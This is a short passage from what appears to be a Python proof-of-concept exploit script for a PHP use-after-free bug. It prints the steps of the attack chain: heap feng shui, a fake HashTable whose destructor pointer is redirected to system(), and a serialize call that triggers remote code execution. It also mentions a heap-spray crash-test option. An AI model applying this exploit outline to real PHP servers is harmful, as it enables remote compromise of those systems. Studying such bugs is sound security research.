print(" 2. Heap feng shui: reclaim 64-byte slot with controlled data")
print(" 3. Fake HashTable: pDestructor -> system(), arData -> command")
print(" 4. Trigger serialize -> zend_hash_destroy -> pDestructor -> RCE")
print()
if not ran_spray:
print(" Run with --crash-test to attempt heap spray + UAF trigger.")
if __name__ == "__main__":